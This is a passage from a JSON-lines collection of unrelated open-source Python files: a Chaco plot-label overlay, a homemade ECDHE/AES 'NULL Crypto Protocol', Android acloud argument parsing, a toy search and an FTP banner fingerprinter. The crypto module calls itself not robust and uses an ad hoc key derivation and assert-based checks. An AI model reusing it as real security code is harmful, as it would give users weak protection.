permissions and\n# limitations under the License.\n# ===============================================================================\n\n# ============= enthought library imports =======================\nfrom __future__ import absolute_import\nfrom chaco.abstract_overlay import AbstractOverlay\nfrom chaco.plot_label import PlotLabel\nfrom kiva.trait_defs.kiva_font_trait import KivaFont\nfrom traits.api import List, Bool, Int, on_trait_change, Color\nfrom six.moves import zip\n\n\n# ============= standard library imports ========================\n# ============= local library imports ==========================\n\nclass RelativePlotLabel(PlotLabel):\n relative_position = Int\n\n def _draw_overlay(self, gc, view_bounds=None, mode=\"normal\"):\n \"\"\" Draws the overlay layer of a component.\n\n Overrides PlotComponent.\n \"\"\"\n # Perform justification and compute the correct offsets for\n # the label position\n width, height = self._label.get_bounding_box(gc)\n if self.hjustify == \"left\":\n x_offset = 0\n elif self.hjustify == \"right\":\n x_offset = self.width - width\n elif self.hjustify == \"center\":\n x_offset = int((self.width - width) / 2)\n #\n if self.vjustify == \"bottom\":\n y = self.component.y + 5 + (self.relative_position * (height + 2))\n elif self.vjustify == \"top\":\n y = self.component.y2 - height - (self.relative_position * (height + 2))\n\n # elif self.vjustify == \"center\":\n # y_offset = int((self.height - height) / 2)\n # x_offset, y_offset=0,0\n # print self.x, self.y, self.width, self.height, self.bounds\n with gc:\n # XXX: Uncomment this after we fix kiva GL backend's clip stack\n # gc.clip_to_rect(self.x, self.y, self.width, self.height)\n\n # We have to translate to our position because the label\n # tries to draw at (0,0).\n\n gc.translate_ctm(self.x + x_offset, y)\n self._label.draw(gc)\n\n return\n\n\nclass IntegratedPlotLabel(RelativePlotLabel):\n pass\n\n\nclass WeightedMeanPlotLabel(RelativePlotLabel):\n pass\n\n\nclass SpectrumLabelOverlay(AbstractOverlay):\n display_extract_value = Bool(True)\n display_step = Bool(True)\n nsigma = Int\n font = KivaFont\n _cached_labels = List\n use_user_color = Bool\n user_color = Color\n\n def overlay(self, other_component, gc, view_bounds=None, mode=\"normal\"):\n labels = self._get_labels()\n for label in labels:\n label.overlay(other_component, gc)\n\n def _get_labels(self):\n if self._layout_needed or not self._cached_labels:\n self._layout_needed = False\n labels = []\n nsigma = self.nsigma\n # spec = self.spectrum\n comp = self.component\n xs = comp.index.get_data()\n ys = comp.value.get_data()\n es = comp.errors\n n = len(xs)\n xs = xs.reshape(n // 2, 2)\n ys = ys.reshape(n // 2, 2)\n es = es.reshape(n // 2, 2)\n\n if self.use_user_color:\n color = self.user_color\n else:\n color = comp.color\n\n sorted_analyses = self.sorted_analyses\n for i, ((xa, xb), (ya, yb), (ea, eb)) in enumerate(zip(xs, ys, es)):\n # ui = spec.sorted_analyses[i]\n analysis = sorted_analyses[i]\n x = (xb - xa) / 2.0 + xa\n yi, ei = ya, ea\n yl = yi - ei * nsigma\n yu = yi + ei * nsigma\n\n (x, yl), (_, yu) = comp.map_screen([(x, yl), (x, yu)])\n y = yl - 15\n if y < 0:\n y = yu + 10\n if y > comp.height:\n y = 50\n\n txt = self._assemble_text(analysis)\n labels.append(PlotLabel(text=txt,\n font=self.font,\n # font='modern {}'.format(self.font_size),\n color=color,\n x=x,\n y=y))\n\n self._cached_labels = labels\n\n return self._cached_labels\n\n def _assemble_text(self, ai):\n ts = []\n if self.display_step:\n ts.append(ai.step)\n\n if self.display_extract_value:\n ts.append('{:n}'.format(ai.extract_value))\n\n return '\\n'.join(ts)\n\n @on_trait_change('component.+')\n def _handle_component_change(self, name, new):\n self._layout_needed = True\n self.request_redraw()\n\n @on_trait_change('display_extract_value, display_step')\n def _update_visible(self):\n self.visible = self.display_extract_value or self.display_step\n\n# ============= EOF =============================================\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "\"\"\"\nThe NULL Crypto Protocol\n\nThis is a simple (and probably not very robust) ECDHE + AES protocol using ECDSA for authentication. Please don't use\nthis for anything important!!\n\nThe server has a list of trusted public keys, the client the public key of the server it trusts.\n\nWhen connecting a new session, the client uses an ephemeral ECDH key signed by the client's long-term ECDSA key.\nThe server enforces that only one ephemeral ECDH key can be in use for each client key.\n\nHandshake:\n* Client sends it's pubkey and epehemeral pubkey, and sign the ephemeral pubkey and sends that.\n* The client computes a shared secret to use as an AES128 key between the ephemeral ECDH key and the\n server's public key.\n* If the server trusts the client's ECDSA key it computes the same shared secret using ECDH\n* The server encrypts a random string using the shared key and sends it to the client.\n* The client must decrypt and sign the plain text version of the string.\n* The server verifies this final exchange and trusts the client.\n\n\"\"\"\n\nimport os\nimport binascii\nimport identity\nimport hashlib\nimport pyaes\nimport uuid\n\nKDFS = [\n \"NULLAES128sha256str\"\n]\nDEFAULT_KDF = \"NULLAES128sha256str\"\n\n\ndef aes_encrypt_str(key, plaintext):\n \"\"\"\n Encrypt a string with AES.\n :param key:\n :param plaintext:\n :return:\n \"\"\"\n iv = os.urandom(16)\n encrypter = pyaes.Encrypter(pyaes.AESModeOfOperationCBC(key, iv))\n ctext = encrypter.feed(plaintext)\n ctext += encrypter.feed()\n return binascii.hexlify(ctext), binascii.hexlify(iv)\n\n\ndef aes_decrypt_str(key, iv, ciphertext):\n \"\"\"\n Decrypt a string with AES\n :param key:\n :param iv:\n :param ciphertext:\n :return:\n \"\"\"\n iv = binascii.unhexlify(iv)\n ciphertext = binascii.unhexlify(ciphertext)\n decrypter = pyaes.Decrypter(pyaes.AESModeOfOperationCBC(key, iv))\n ptext = decrypter.feed(ciphertext)\n ptext += decrypter.feed()\n return ptext\n\n\ndef derive_key(kdf, shared):\n \"\"\"\n Derive our secret key\n :param kdf:\n :param shared: shared secret ecpoints\n :return:\n \"\"\"\n assert kdf in KDFS\n if kdf == \"NULLAES128sha256str\":\n # 128bit AES key from the last part of the sha256 hash if the ecpoint string representation\n keydata = hashlib.sha256(str(shared)).digest()[-16:]\n return keydata\n else:\n raise KeyError(\"no such KDF \" + kdf)\n\n\ndef server_handshake_begin(server_priv, message):\n \"\"\"\n Receive the handshake\n :param server_priv: server private key\n :param message: message data (decoded)\n :return: secret aes key, client's pubkey, handshake response to send\n \"\"\"\n assert server_priv.curve.openssl_name == message[\"keytype\"]\n signature = message[\"signature\"]\n\n client_pub = identity.loadpubstr(message[\"pub\"]) # client long term key\n session_pub = identity.loadpubstr(message[\"session\"]) # client session ecc key\n\n verify_msg = message[\"session\"] + message[\"kdf\"] + message[\"keytype\"]\n\n assert identity.verify_string(client_pub, signature, verify_msg) is True\n\n shared = identity.ecdh(server_priv, session_pub)\n secret = derive_key(message[\"kdf\"], shared)\n\n challenge_plain = str(uuid.uuid4())\n\n challenge, iv = aes_encrypt_str(secret, challenge_plain)\n response = {\"challenge\": challenge, \"iv\": iv}\n return secret, client_pub, response, challenge_plain\n\n\ndef client_handshake_begin(ecdsa_priv, ecdh_priv, server_pub, curve=identity.DEFAULT_KEYTYPE, kdf=DEFAULT_KDF):\n \"\"\"\n Start the handshake\n :param ecdsa_priv: long term signing privkey\n :param ecdh_priv: temporary session ecc privkey\n :param server_pub: server long term pub key\n :param curve: EC Curve name\n :param kdf: Key derivation mechanism\n :return: secret aes key, handshake message to send\n \"\"\"\n\n session_pub_str = ecdh_priv.get_verifying_key().to_pem()\n\n # sign our session key\n signature = identity.sign_string(ecdsa_priv, session_pub_str + kdf + curve.openssl_name)\n\n message = {\n \"pub\": ecdsa_priv.get_verifying_key().to_pem(),\n \"session\": session_pub_str,\n \"signature\": signature,\n \"keytype\": curve.openssl_name,\n \"kdf\": kdf,\n }\n\n shared = identity.ecdh(ecdh_priv, server_pub)\n secret = derive_key(kdf, shared)\n\n return secret, message\n\n\ndef client_handshake_finish(client_priv, secret, challenge):\n \"\"\"\n Sign the challenge from the server's handshake response\n :param client_priv:\n :param secret:\n :param challenge:\n :return:\n \"\"\"\n pubkeyhash = identity.pubkeyhash(client_priv.get_verifying_key())\n plaintext = aes_decrypt_str(secret, challenge[\"iv\"], challenge[\"challenge\"])\n signature = identity.sign_string(client_priv, plaintext)\n return {\"signature\": signature,\n \"fingerprint\": pubkeyhash\n }\n\n\ndef server_handshake_finish(client_pub, challenge, response):\n \"\"\"\n Verify the client processed our handshake correctly\n :param client_pub: client's long term public key\n :param challenge: challenge plaintext\n :param response: message containing a signature of the plaintext and hash of the singer pubkey\n :return:\n \"\"\"\n assert \"fingerprint\" in response\n pubkeyhash = hashlib.sha512(client_pub.to_der()).hexdigest()\n assert pubkeyhash == response[\"fingerprint\"]\n assert identity.verify_string(client_pub, response[\"signature\"], challenge)\n return {\"status\": \"complete\"}\n\n\ndef send_data(signer, sessionkey, data):\n \"\"\"\n Encrypt some data and sign it\n :param signer: signing key\n :param sessionkey: encryption key\n :param data: message (expected string)\n :return: dict containing fingerprint, signature, iv and ciphertext\n \"\"\"\n ctext, iv = aes_encrypt_str(sessionkey, str(data))\n signature = identity.sign_string(signer, ctext)\n pubkeyhash = hashlib.sha512(signer.get_verifying_key().to_der()).hexdigest()\n\n return {\n \"fingerprint\": pubkeyhash,\n \"signature\": signature,\n \"iv\": iv,\n \"ciphertext\": ctext\n }\n\n\ndef receive_data(pubkey, sessionkey, data):\n \"\"\"\n Verify and Decrypt a message\n :param pubkey: the sender's signing key\n :param sessionkey: the encryption key\n :param data: (string)\n :return: the plain text if the message verifies\n \"\"\"\n pubkeyhash = hashlib.sha512(pubkey.to_der()).hexdigest()\n assert pubkeyhash == data[\"fingerprint\"]\n assert identity.verify_string(pubkey,\n data[\"signature\"],\n data[\"ciphertext\"])\n\n return aes_decrypt_str(sessionkey,\n data[\"iv\"],\n data[\"ciphertext\"])\n", "source": "inorton/NULLTeamPlugin", "license": "BSD-2-Clause"} {"text": "import os\nfrom pkg_resources import resource_filename\n\n\ndef get_fun(name):\n \"\"\"Get the full path to one of the reference files shipped for testing\n\n These files are in torsionfit/testing/reference\n\n :param\n name: str\n Name of file to load\n\n :returns\n fn : str\n full path to file\n \"\"\"\n\n fn = resource_filename('torsionfit', os.path.join('tests', 'reference', name))\n\n if not os.path.exists(fn):\n raise ValueError('%s does not exist. If you just added it you will have to re install' % fn)\n\n return fn\n\ntry:\n import openeye.oechem\n has_openeye = True\nexcept ImportError:\n has_openeye = False\n\n", "source": "ChayaSt/torsionfit", "license": "MIT"} {"text": "# Copyright 2018 - The Android Open Source Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nr\"\"\"Create args.\n\nDefines the create arg parser that holds create specific args.\n\"\"\"\n\nimport argparse\nimport os\n\nfrom acloud import errors\nfrom acloud.create import create_common\nfrom acloud.internal import constants\nfrom acloud.internal.lib import utils\n\n\n_DEFAULT_GPU = \"default\"\nCMD_CREATE = \"create\"\n\n\n# TODO: Add this into main create args once create_cf/gf is deprecated.\ndef AddCommonCreateArgs(parser):\n \"\"\"Adds arguments common to create parsers.\n\n Args:\n parser: ArgumentParser object, used to parse flags.\n \"\"\"\n parser.add_argument(\n \"--num\",\n type=int,\n dest=\"num\",\n required=False,\n default=1,\n help=\"Number of instances to create.\")\n parser.add_argument(\n \"--serial-log-file\",\n type=str,\n dest=\"serial_log_file\",\n required=False,\n help=\"Path to a *tar.gz file where serial logs will be saved \"\n \"when a device fails on boot.\")\n parser.add_argument(\n \"--autoconnect\",\n type=str,\n nargs=\"?\",\n const=constants.INS_KEY_VNC,\n dest=\"autoconnect\",\n required=False,\n choices=[constants.INS_KEY_VNC, constants.INS_KEY_ADB,\n constants.INS_KEY_WEBRTC],\n help=\"Determines to establish a tunnel forwarding adb/vnc and \"\n \"launch VNC/webrtc. Establish a tunnel forwarding adb and vnc \"\n \"then launch vnc if --autoconnect vnc is provided. Establish a \"\n \"tunnel forwarding adb if --autoconnect adb is provided. \"\n \"Establish a tunnel forwarding adb and auto-launch on the browser \"\n \"if --autoconnect webrtc is provided. For local goldfish \"\n \"instance, create a window.\")\n parser.add_argument(\n \"--no-autoconnect\",\n action=\"store_false\",\n dest=\"autoconnect\",\n required=False,\n help=\"Will not automatically create ssh tunnels forwarding adb & vnc \"\n \"when instance created.\")\n parser.set_defaults(autoconnect=constants.INS_KEY_VNC)\n parser.add_argument(\n \"--unlock\",\n action=\"store_true\",\n dest=\"unlock_screen\",\n required=False,\n default=False,\n help=\"This can unlock screen after invoke vnc client.\")\n parser.add_argument(\n \"--report-internal-ip\",\n action=\"store_true\",\n dest=\"report_internal_ip\",\n required=False,\n help=\"Report internal ip of the created instance instead of external \"\n \"ip. Using the internal ip is used when connecting from another \"\n \"GCE instance.\")\n parser.add_argument(\n \"--network\",\n type=str,\n dest=\"network\",\n required=False,\n help=\"Set the network the GCE instance will utilize.\")\n parser.add_argument(\n \"--skip-pre-run-check\",\n action=\"store_true\",\n dest=\"skip_pre_run_check\",\n required=False,\n help=\"Skip the pre-run check.\")\n parser.add_argument(\n \"--boot-timeout\",\n dest=\"boot_timeout_secs\",\n type=int,\n required=False,\n help=\"The maximum time in seconds used to wait for the AVD to boot.\")\n parser.add_argument(\n \"--wait-for-ins-stable\",\n dest=\"ins_timeout_secs\",\n type=int,\n required=False,\n help=\"The maximum time in seconds used to wait for the instance boot \"\n \"up. The default value to wait for instance up time is 300 secs.\")\n parser.add_argument(\n \"--build-target\",\n type=str,\n dest=\"build_target\",\n help=\"Android build target, e.g. aosp_cf_x86_phone-userdebug, \"\n \"or short names: phone, tablet, or tablet_mobile.\")\n parser.add_argument(\n \"--branch\",\n type=str,\n dest=\"branch\",\n help=\"Android branch, e.g. mnc-dev or git_mnc-dev\")\n parser.add_argument(\n \"--build-id\",\n type=str,\n dest=\"build_id\",\n help=\"Android build id, e.g. 2145099, P2804227\")\n parser.add_argument(\n \"--kernel-build-id\",\n type=str,\n dest=\"kernel_build_id\",\n required=False,\n help=\"Android kernel build id, e.g. 4586590. This is to test a new\"\n \" kernel build with a particular Android build (--build-id). If neither\"\n \" kernel-branch nor kernel-build-id are specified, the kernel that's\"\n \" bundled with the Android build would be used.\")\n parser.add_argument(\n \"--kernel-branch\",\n type=str,\n dest=\"kernel_branch\",\n required=False,\n help=\"Android kernel build branch name, e.g.\"\n \" kernel-common-android-4.14. This is to test a new kernel build with a\"\n \" particular Android build (--build-id). If specified without\"\n \" specifying kernel-build-id, the last green build in the branch will\"\n \" be used. If neither kernel-branch nor kernel-build-id are specified,\"\n \" the kernel that's bundled with the Android build would be used.\")\n parser.add_argument(\n \"--kernel-build-target\",\n type=str,\n dest=\"kernel_build_target\",\n default=\"kernel\",\n help=\"Kernel build target, specify if different from 'kernel'\")\n parser.add_argument(\n \"--system-branch\",\n type=str,\n dest=\"system_branch\",\n help=\"'cuttlefish only' Branch to consume the system image (system.img) \"\n \"from, will default to what is defined by --branch. \"\n \"That feature allows to (automatically) test various combinations \"\n \"of vendor.img (CF, e.g.) and system images (GSI, e.g.). \",\n required=False)\n parser.add_argument(\n \"--system-build-id\",\n type=str,\n dest=\"system_build_id\",\n help=\"'cuttlefish only' System image build id, e.g. 2145099, P2804227\",\n required=False)\n parser.add_argument(\n \"--system-build-target\",\n type=str,\n dest=\"system_build_target\",\n help=\"'cuttlefish only' System image build target, specify if different \"\n \"from --build-target\",\n required=False)\n # TODO(146314062): Remove --multi-stage-launch after infra don't use this\n # args.\n parser.add_argument(\n \"--multi-stage-launch\",\n dest=\"multi_stage_launch\",\n action=\"store_true\",\n required=False,\n default=True,\n help=\"Enable the multi-stage cuttlefish launch.\")\n parser.add_argument(\n \"--no-multi-stage-launch\",\n dest=\"multi_stage_launch\",\n action=\"store_false\",\n required=False,\n default=None,\n help=\"Disable the multi-stage cuttlefish launch.\")\n parser.add_argument(\n \"--no-pull-log\",\n dest=\"no_pull_log\",\n action=\"store_true\",\n required=False,\n default=None,\n help=\"Disable auto download logs when AVD booting up failed.\")\n # TODO(147335651): Add gpu in user config.\n # TODO(147335651): Support \"--gpu\" without giving any value.\n parser.add_argument(\n \"--gpu\",\n type=str,\n const=_DEFAULT_GPU,\n nargs=\"?\",\n dest=\"gpu\",\n required=False,\n default=None,\n help=\"GPU accelerator to use if any. e.g. nvidia-tesla-k80. For local \"\n \"instances, this arg without assigning any value is to enable \"\n \"local gpu support.\")\n # Hide following args for users, it is only used in infra.\n parser.add_argument(\n \"--num-avds-per-instance\",\n type=int,\n dest=\"num_avds_per_instance\",\n required=False,\n default=1,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--zone\",\n type=str,\n dest=\"zone\",\n required=False,\n help=argparse.SUPPRESS)\n\n # TODO(b/118439885): Old arg formats to support transition, delete when\n # transistion is done.\n parser.add_argument(\n \"--serial_log_file\",\n type=str,\n dest=\"serial_log_file\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--build_id\",\n type=str,\n dest=\"build_id\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--build_target\",\n type=str,\n dest=\"build_target\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--system_branch\",\n type=str,\n dest=\"system_branch\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--system_build_id\",\n type=str,\n dest=\"system_build_id\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--system_build_target\",\n type=str,\n dest=\"system_build_target\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--kernel_build_id\",\n type=str,\n dest=\"kernel_build_id\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--kernel_branch\",\n type=str,\n dest=\"kernel_branch\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--kernel_build_target\",\n type=str,\n dest=\"kernel_build_target\",\n default=\"kernel\",\n help=argparse.SUPPRESS)\n\n\ndef GetCreateArgParser(subparser):\n \"\"\"Return the create arg parser.\n\n Args:\n subparser: argparse.ArgumentParser that is attached to main acloud cmd.\n\n Returns:\n argparse.ArgumentParser with create options defined.\n \"\"\"\n create_parser = subparser.add_parser(CMD_CREATE)\n create_parser.required = False\n create_parser.set_defaults(which=CMD_CREATE)\n # Use default=None to distinguish remote instance or local. The instance\n # type will be remote if the arg is not provided.\n create_parser.add_argument(\n \"--local-instance\",\n type=_PositiveInteger,\n const=0,\n metavar=\"ID\",\n nargs=\"?\",\n dest=\"local_instance\",\n required=False,\n help=\"Create a local AVD instance using the resources associated with \"\n \"the ID. Choose an unused ID automatically if the value is \"\n \"not specified (primarily for infra usage).\")\n create_parser.add_argument(\n \"--adb-port\", \"-p\",\n type=int,\n default=None,\n dest=\"adb_port\",\n required=False,\n help=\"Specify port for adb forwarding.\")\n create_parser.add_argument(\n \"--avd-type\",\n type=str,\n dest=\"avd_type\",\n default=constants.TYPE_CF,\n choices=[constants.TYPE_GCE, constants.TYPE_CF, constants.TYPE_GF, constants.TYPE_CHEEPS,\n constants.TYPE_FVP],\n help=\"Android Virtual Device type (default %s).\" % constants.TYPE_CF)\n create_parser.add_argument(\n \"--flavor\",\n type=str,\n dest=\"flavor\",\n help=\"The device flavor of the AVD (default %s).\" % constants.FLAVOR_PHONE)\n create_parser.add_argument(\n \"--local-image\",\n type=str,\n dest=\"local_image\",\n nargs=\"?\",\n default=\"\",\n required=False,\n help=\"Use the locally built image for the AVD. Look for the image \"\n \"artifact in $ANDROID_PRODUCT_OUT if no args value is provided.\"\n \"e.g --local-image or --local-image /path/to/dir or --local-image \"\n \"/path/to/file\")\n create_parser.add_argument(\n \"--local-system-image\",\n type=str,\n dest=\"local_system_image\",\n nargs=\"?\",\n default=\"\",\n required=False,\n help=\"Use the locally built system images for the AVD. Look for the \"\n \"images in $ANDROID_PRODUCT_OUT if no args value is provided. \"\n \"e.g., --local-system-image or --local-system-image /path/to/dir\")\n create_parser.add_argument(\n \"--local-tool\",\n type=str,\n dest=\"local_tool\",\n action=\"append\",\n default=[],\n required=False,\n help=\"Use the tools in the specified directory to create local \"\n \"instances. The directory structure follows $ANDROID_HOST_OUT or \"\n \"$ANDROID_EMULATOR_PREBUILTS.\")\n create_parser.add_argument(\n \"--image-download-dir\",\n type=str,\n dest=\"image_download_dir\",\n required=False,\n help=\"Define remote image download directory, e.g. /usr/local/dl.\")\n create_parser.add_argument(\n \"--yes\", \"-y\",\n action=\"store_true\",\n dest=\"no_prompt\",\n required=False,\n help=(\"Automatic yes to prompts. Assume 'yes' as answer to all prompts \"\n \"and run non-interactively.\"))\n create_parser.add_argument(\n \"--reuse-gce\",\n type=str,\n const=constants.SELECT_ONE_GCE_INSTANCE,\n nargs=\"?\",\n dest=\"reuse_gce\",\n required=False,\n help=\"'cuttlefish only' This can help users use their own instance. \"\n \"Reusing specific gce instance if --reuse-gce [instance_name] is \"\n \"provided. Select one gce instance to reuse if --reuse-gce is \"\n \"provided.\")\n create_parser.add_argument(\n \"--host\",\n type=str,\n dest=\"remote_host\",\n default=None,\n help=\"'cuttlefish only' Provide host name to clean up the remote host. \"\n \"For example: '--host 1.1.1.1'\")\n create_parser.add_argument(\n \"--host-user\",\n type=str,\n dest=\"host_user\",\n default=constants.GCE_USER,\n help=\"'remote host only' Provide host user for logging in to the host. \"\n \"The default value is vsoc-01. For example: '--host 1.1.1.1 --host-user \"\n \"vsoc-02'\")\n create_parser.add_argument(\n \"--host-ssh-private-key-path\",\n type=str,\n dest=\"host_ssh_private_key_path\",\n default=None,\n help=\"'remote host only' Provide host key for login on on this host.\")\n # User should not specify --spec and --hw_property at the same time.\n hw_spec_group = create_parser.add_mutually_exclusive_group()\n hw_spec_group.add_argument(\n \"--hw-property\",\n type=str,\n dest=\"hw_property\",\n required=False,\n help=\"Supported HW properties and example values: %s\" %\n constants.HW_PROPERTIES_CMD_EXAMPLE)\n hw_spec_group.add_argument(\n \"--spec\",\n type=str,\n dest=\"spec\",\n required=False,\n choices=constants.SPEC_NAMES,\n help=\"The name of a pre-configured device spec that we are \"\n \"going to use.\")\n # Arguments for goldfish type.\n # TODO(b/118439885): Verify args that are used in wrong avd_type.\n # e.g. $acloud create --avd-type cuttlefish --emulator-build-id\n create_parser.add_argument(\n \"--emulator-build-id\",\n type=int,\n dest=\"emulator_build_id\",\n required=False,\n help=\"'goldfish only' Emulator build used to run the images. \"\n \"e.g. 4669466.\")\n\n # Arguments for cheeps type.\n create_parser.add_argument(\n \"--stable-cheeps-host-image-name\",\n type=str,\n dest=\"stable_cheeps_host_image_name\",\n required=False,\n default=None,\n help=(\"'cheeps only' The Cheeps host image from which instances are \"\n \"launched. If specified here, the value set in Acloud config \"\n \"file will be overridden.\"))\n create_parser.add_argument(\n \"--stable-cheeps-host-image-project\",\n type=str,\n dest=\"stable_cheeps_host_image_project\",\n required=False,\n default=None,\n help=(\"'cheeps only' The project hosting the specified Cheeps host \"\n \"image. If specified here, the value set in Acloud config file \"\n \"will be overridden.\"))\n create_parser.add_argument(\n \"--user\",\n type=str,\n dest=\"username\",\n required=False,\n default=None,\n help=\"'cheeps only' username to log in to Chrome OS as.\")\n create_parser.add_argument(\n \"--password\",\n type=str,\n dest=\"password\",\n required=False,\n default=None,\n help=\"'cheeps only' password to log in to Chrome OS with.\")\n create_parser.add_argument(\n \"--betty-image\",\n type=str,\n dest=\"cheeps_betty_image\",\n required=False,\n default=None,\n help=(\"'cheeps only' The L1 betty version to use. Only makes sense \"\n \"when launching a controller image with \"\n \"stable-cheeps-host-image\"))\n\n AddCommonCreateArgs(create_parser)\n return create_parser\n\n\ndef _PositiveInteger(arg):\n \"\"\"Convert an argument from a string to a positive integer.\"\"\"\n try:\n value = int(arg)\n except ValueError:\n raise argparse.ArgumentTypeError(arg + \" is not an integer.\")\n if value <= 0:\n raise argparse.ArgumentTypeError(arg + \" is not positive.\")\n return value\n\n\ndef _VerifyLocalArgs(args):\n \"\"\"Verify args starting with --local.\n\n Args:\n args: Namespace object from argparse.parse_args.\n\n Raises:\n errors.CheckPathError: Image path doesn't exist.\n errors.UnsupportedCreateArgs: The specified avd type does not support\n --local-system-image.\n errors.UnsupportedLocalInstanceId: Local instance ID is invalid.\n \"\"\"\n if args.local_image and not os.path.exists(args.local_image):\n raise errors.CheckPathError(\n \"Specified path doesn't exist: %s\" % args.local_image)\n\n # TODO(b/133211308): Support TYPE_CF.\n if args.local_system_image != \"\" and args.avd_type != constants.TYPE_GF:\n raise errors.UnsupportedCreateArgs(\"%s instance does not support \"\n \"--local-system-image\" %\n args.avd_type)\n\n if (args.local_system_image and\n not os.path.exists(args.local_system_image)):\n raise errors.CheckPathError(\n \"Specified path doesn't exist: %s\" % args.local_system_image)\n\n for tool_dir in args.local_tool:\n if not os.path.exists(tool_dir):\n raise errors.CheckPathError(\n \"Specified path doesn't exist: %s\" % tool_dir)\n\n if args.autoconnect == constants.INS_KEY_WEBRTC:\n if args.avd_type != constants.TYPE_CF:\n raise errors.UnsupportedCreateArgs(\n \"'--autoconnect webrtc' only support cuttlefish.\")\n\n\ndef _VerifyHostArgs(args):\n \"\"\"Verify args starting with --host.\n\n Args:\n args: Namespace object from argparse.parse_args.\n\n Raises:\n errors.UnsupportedCreateArgs: When a create arg is specified but\n unsupported for remote host mode.\n \"\"\"\n if args.remote_host and args.local_instance is not None:\n raise errors.UnsupportedCreateArgs(\n \"--host is not supported for local instance.\")\n\n if args.remote_host and args.num > 1:\n raise errors.UnsupportedCreateArgs(\n \"--num is not supported for remote host.\")\n\n if args.host_user != constants.GCE_USER and args.remote_host is None:\n raise errors.UnsupportedCreateArgs(\n \"--host-user only support for remote host.\")\n\n if args.host_ssh_private_key_path and args.remote_host is None:\n raise errors.UnsupportedCreateArgs(\n \"--host-ssh-private-key-path only support for remote host.\")\n\n\ndef VerifyArgs(args):\n \"\"\"Verify args.\n\n Args:\n args: Namespace object from argparse.parse_args.\n\n Raises:\n errors.UnsupportedFlavor: Flavor doesn't support.\n errors.UnsupportedMultiAdbPort: multi adb port doesn't support.\n errors.UnsupportedCreateArgs: When a create arg is specified but\n unsupported for a particular avd type.\n (e.g. --system-build-id for gf)\n \"\"\"\n # Verify that user specified flavor name is in support list.\n # We don't use argparse's builtin validation because we need to be able to\n # tell when a user doesn't specify a flavor.\n if args.flavor and args.flavor not in constants.ALL_FLAVORS:\n raise errors.UnsupportedFlavor(\n \"Flavor[%s] isn't in support list: %s\" % (args.flavor,\n constants.ALL_FLAVORS))\n if args.avd_type != constants.TYPE_CF:\n if args.system_branch or args.system_build_id or args.system_build_target:\n raise errors.UnsupportedCreateArgs(\n \"--system-* args are not supported for AVD type: %s\"\n % args.avd_type)\n\n if args.num > 1 and args.adb_port:\n raise errors.UnsupportedMultiAdbPort(\n \"--adb-port is not supported for multi-devices.\")\n\n if args.num > 1 and args.local_instance is not None:\n raise errors.UnsupportedCreateArgs(\n \"--num is not supported for local instance.\")\n\n if args.local_instance is None and args.gpu == _DEFAULT_GPU:\n raise errors.UnsupportedCreateArgs(\n \"Please assign one gpu model for GCE instance. Reference: \"\n \"https://cloud.google.com/compute/docs/gpus\")\n\n if args.adb_port:\n utils.CheckPortFree(args.adb_port)\n\n hw_properties = create_common.ParseHWPropertyArgs(args.hw_property)\n for key in hw_properties:\n if key not in constants.HW_PROPERTIES:\n raise errors.InvalidHWPropertyError(\n \"[%s] is an invalid hw property, supported values are:%s. \"\n % (key, constants.HW_PROPERTIES))\n\n cheeps_only_flags = [args.stable_cheeps_host_image_name,\n args.stable_cheeps_host_image_project,\n args.username,\n args.password,\n args.cheeps_betty_image]\n if args.avd_type != constants.TYPE_CHEEPS and any(cheeps_only_flags):\n raise errors.UnsupportedCreateArgs(\n \"--stable-cheeps-*, --betty-image, --username and --password are \"\n \"only valid with avd_type == %s\" % constants.TYPE_CHEEPS)\n if (args.username or args.password) and not (args.username and args.password):\n raise ValueError(\"--username and --password must both be set\")\n if not args.autoconnect and args.unlock_screen:\n raise ValueError(\"--no-autoconnect and --unlock couldn't be \"\n \"passed in together.\")\n\n _VerifyLocalArgs(args)\n _VerifyHostArgs(args)\n", "source": "LGWingEmulator/tools-acloud", "license": "Apache-2.0"} {"text": "x=[2,25,34,56,72,34,54]\nval=int(input(\"Enter the value you want to get searched : \"))\nfor i in x:\n if i==val:\n print(x.index(i))\n break\n elif x.index(i)==(len(x)-1) and i!=val:\n print(\"The Val u want to search is not there in the list\")\n\n\n\n\n\n", "source": "naman3vedi/Algorithm-Data-Structures", "license": "MIT"} {"text": "import re\nfrom ztag.annotation import Annotation\nfrom ztag.annotation import OperatingSystem\nfrom ztag.annotation import Type\nfrom ztag.annotation import Manufacturer\nfrom ztag import protocols\nimport ztag.test\n\n\nclass FtpSharp(Annotation):\n protocol = protocols.FTP\n subprotocol = protocols.FTP.BANNER\n port = None\n\n manufact_re = re.compile(\n \"^220 SHARP ((MX)|(AR))-[0-9A-Z]+ Ver \\d+(\\.[0-9a-z]+)+ FTP server\",\n re.IGNORECASE\n )\n product_re = re.compile(\"SHARP (.+) Ver\", re.IGNORECASE)\n version_re = re.compile(\n \"Ver (\\d+(?:\\.\\d+[a-z]?)*) FTP\",\n re.IGNORECASE\n )\n\n tests = {\n \"FtpSharp_1\": {\n \"global_metadata\": {\n \"device_type\": Type.GENERIC_PRINTER,\n \"manufacturer\": Manufacturer.SHARP,\n \"product\": \"MX-5110N\"\n },\n \"local_metadata\": {\n \"version\": \"01.05.00.0m.80\"\n }\n }\n }\n \n\n def process(self, obj, meta):\n banner = obj[\"banner\"]\n\n if self.manufact_re.search(banner):\n meta.global_metadata.device_type = Type.GENERIC_PRINTER\n meta.global_metadata.manufacturer = Manufacturer.SHARP\n\n product = self.product_re.search(banner).group(1)\n meta.global_metadata.product = product\n\n match = 